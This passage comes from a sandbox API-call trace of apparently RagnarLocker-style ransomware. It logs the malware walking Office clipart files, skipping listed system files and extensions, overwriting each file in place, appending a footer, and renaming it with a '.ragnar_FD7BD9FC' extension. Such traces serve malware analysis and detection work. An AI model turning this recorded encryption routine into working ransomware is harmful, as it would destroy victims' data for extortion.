lpNumberOfBytesWritten=0x1eaf30*=0xd90, lpOverlapped=0x0) returned 1 [0085.630] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.630] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.630] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.630] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.630] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.630] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.630] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.631] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.631] GetProcessHeap () returned 0x580000 [0085.631] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.631] CloseHandle (hObject=0xf4) returned 1 [0085.631] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" [0085.631] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.ragnar_FD7BD9FC" [0085.631] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.631] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187921.WMF", cAlternateFileName="")) returned 1 [0085.631] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.631] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187921.WMF" | out: lpString1="J0187921.WMF") returned="J0187921.WMF" [0085.631] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned=".WMF" [0085.632] lstrcmpiW (lpString1="J0187921.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.632] lstrcmpiW (lpString1="J0187921.WMF", lpString2="autorun.inf") returned 1 [0085.632] lstrcmpiW (lpString1="J0187921.WMF", lpString2="boot.ini") returned 1 [0085.632] lstrcmpiW (lpString1="J0187921.WMF", lpString2="bootfont.bin") returned 1 [0085.632] lstrcmpiW (lpString1="J0187921.WMF", lpString2="bootsect.bak") returned 1 [0085.632] lstrcmpiW (lpString1="J0187921.WMF", lpString2="bootmgr") returned 1 [0085.632] lstrcmpiW (lpString1="J0187921.WMF", lpString2="bootmgr.efi") returned 1 [0085.632] lstrcmpiW (lpString1="J0187921.WMF", lpString2="bootmgfw.efi") returned 1 [0085.632] lstrcmpiW (lpString1="J0187921.WMF", lpString2="desktop.ini") returned 1 [0085.632] lstrcmpiW (lpString1="J0187921.WMF", lpString2="iconcache.db") returned 1 [0085.632] lstrcmpiW (lpString1="J0187921.WMF", lpString2="ntldr") returned -1 [0085.632] lstrcmpiW (lpString1="J0187921.WMF", lpString2="ntuser.dat") returned -1 [0085.632] lstrcmpiW (lpString1="J0187921.WMF", lpString2="ntuser.dat.log") returned -1 [0085.632] lstrcmpiW (lpString1="J0187921.WMF", lpString2="ntuser.ini") returned -1 [0085.632] lstrcmpiW (lpString1="J0187921.WMF", lpString2="thumbs.db") returned -1 [0085.632] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.632] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.632] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.632] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.632] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.632] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.632] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf")) returned 0x20 [0085.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.633] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5000) returned 1 [0085.633] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x137f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.633] GetProcessHeap () returned 0x580000 [0085.633] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.633] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.635] VirtualAlloc (lpAddress=0x0, dwSize=0x1388, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.635] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.635] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.635] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1388, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1388, lpOverlapped=0x0) returned 1 [0085.636] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.636] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1388, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.636] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1388, lpOverlapped=0x0) returned 1 [0085.636] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1388, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.636] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.637] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1388, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.637] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.637] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.637] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.637] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.637] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.637] GetProcessHeap () returned 0x580000 [0085.637] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.637] CloseHandle (hObject=0xf4) returned 1 [0085.637] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" [0085.637] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.ragnar_FD7BD9FC" [0085.637] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.638] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188511.WMF", cAlternateFileName="")) returned 1 [0085.638] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.638] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0188511.WMF" | out: lpString1="J0188511.WMF") returned="J0188511.WMF" [0085.638] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned=".WMF" [0085.638] lstrcmpiW (lpString1="J0188511.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.638] lstrcmpiW (lpString1="J0188511.WMF", lpString2="autorun.inf") returned 1 [0085.638] lstrcmpiW (lpString1="J0188511.WMF", lpString2="boot.ini") returned 1 [0085.638] lstrcmpiW (lpString1="J0188511.WMF", lpString2="bootfont.bin") returned 1 [0085.638] lstrcmpiW (lpString1="J0188511.WMF", lpString2="bootsect.bak") returned 1 [0085.638] lstrcmpiW (lpString1="J0188511.WMF", lpString2="bootmgr") returned 1 [0085.638] lstrcmpiW (lpString1="J0188511.WMF", lpString2="bootmgr.efi") returned 1 [0085.638] lstrcmpiW (lpString1="J0188511.WMF", lpString2="bootmgfw.efi") returned 1 [0085.638] lstrcmpiW (lpString1="J0188511.WMF", lpString2="desktop.ini") returned 1 [0085.638] lstrcmpiW (lpString1="J0188511.WMF", lpString2="iconcache.db") returned 1 [0085.638] lstrcmpiW (lpString1="J0188511.WMF", lpString2="ntldr") returned -1 [0085.638] lstrcmpiW (lpString1="J0188511.WMF", lpString2="ntuser.dat") returned -1 [0085.638] lstrcmpiW (lpString1="J0188511.WMF", lpString2="ntuser.dat.log") returned -1 [0085.638] lstrcmpiW (lpString1="J0188511.WMF", lpString2="ntuser.ini") returned -1 [0085.638] lstrcmpiW (lpString1="J0188511.WMF", lpString2="thumbs.db") returned -1 [0085.638] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.638] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.638] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.638] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.639] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.639] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.639] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf")) returned 0x20 [0085.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.640] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10716) returned 1 [0085.640] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x29d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.640] GetProcessHeap () returned 0x580000 [0085.640] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.640] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.641] VirtualAlloc (lpAddress=0x0, dwSize=0x29dc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.642] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.642] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.642] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x29dc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x29dc, lpOverlapped=0x0) returned 1 [0085.643] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.643] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x29dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.643] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x29dc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x29dc, lpOverlapped=0x0) returned 1 [0085.643] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x29dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.643] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.643] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x29dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.643] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.643] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.643] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.644] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.644] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.644] GetProcessHeap () returned 0x580000 [0085.644] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.644] CloseHandle (hObject=0xf4) returned 1 [0085.644] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" [0085.644] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.ragnar_FD7BD9FC" [0085.644] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.644] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3004, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188513.WMF", cAlternateFileName="")) returned 1 [0085.645] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.645] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0188513.WMF" | out: lpString1="J0188513.WMF") returned="J0188513.WMF" [0085.645] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned=".WMF" [0085.645] lstrcmpiW (lpString1="J0188513.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.645] lstrcmpiW (lpString1="J0188513.WMF", lpString2="autorun.inf") returned 1 [0085.645] lstrcmpiW (lpString1="J0188513.WMF", lpString2="boot.ini") returned 1 [0085.645] lstrcmpiW (lpString1="J0188513.WMF", lpString2="bootfont.bin") returned 1 [0085.645] lstrcmpiW (lpString1="J0188513.WMF", lpString2="bootsect.bak") returned 1 [0085.645] lstrcmpiW (lpString1="J0188513.WMF", lpString2="bootmgr") returned 1 [0085.645] lstrcmpiW (lpString1="J0188513.WMF", lpString2="bootmgr.efi") returned 1 [0085.645] lstrcmpiW (lpString1="J0188513.WMF", lpString2="bootmgfw.efi") returned 1 [0085.645] lstrcmpiW (lpString1="J0188513.WMF", lpString2="desktop.ini") returned 1 [0085.645] lstrcmpiW (lpString1="J0188513.WMF", lpString2="iconcache.db") returned 1 [0085.645] lstrcmpiW (lpString1="J0188513.WMF", lpString2="ntldr") returned -1 [0085.645] lstrcmpiW (lpString1="J0188513.WMF", lpString2="ntuser.dat") returned -1 [0085.645] lstrcmpiW (lpString1="J0188513.WMF", lpString2="ntuser.dat.log") returned -1 [0085.645] lstrcmpiW (lpString1="J0188513.WMF", lpString2="ntuser.ini") returned -1 [0085.645] lstrcmpiW (lpString1="J0188513.WMF", lpString2="thumbs.db") returned -1 [0085.645] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.645] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.645] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.645] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.645] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.645] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.645] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf")) returned 0x20 [0085.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.646] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12292) returned 1 [0085.646] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2ffb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.646] GetProcessHeap () returned 0x580000 [0085.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.646] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.647] VirtualAlloc (lpAddress=0x0, dwSize=0x3004, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.647] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.648] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.648] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3004, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3004, lpOverlapped=0x0) returned 1 [0085.649] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.649] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3004, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.649] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3004, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3004, lpOverlapped=0x0) returned 1 [0085.649] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3004, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.649] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.649] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.649] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.649] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.649] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, 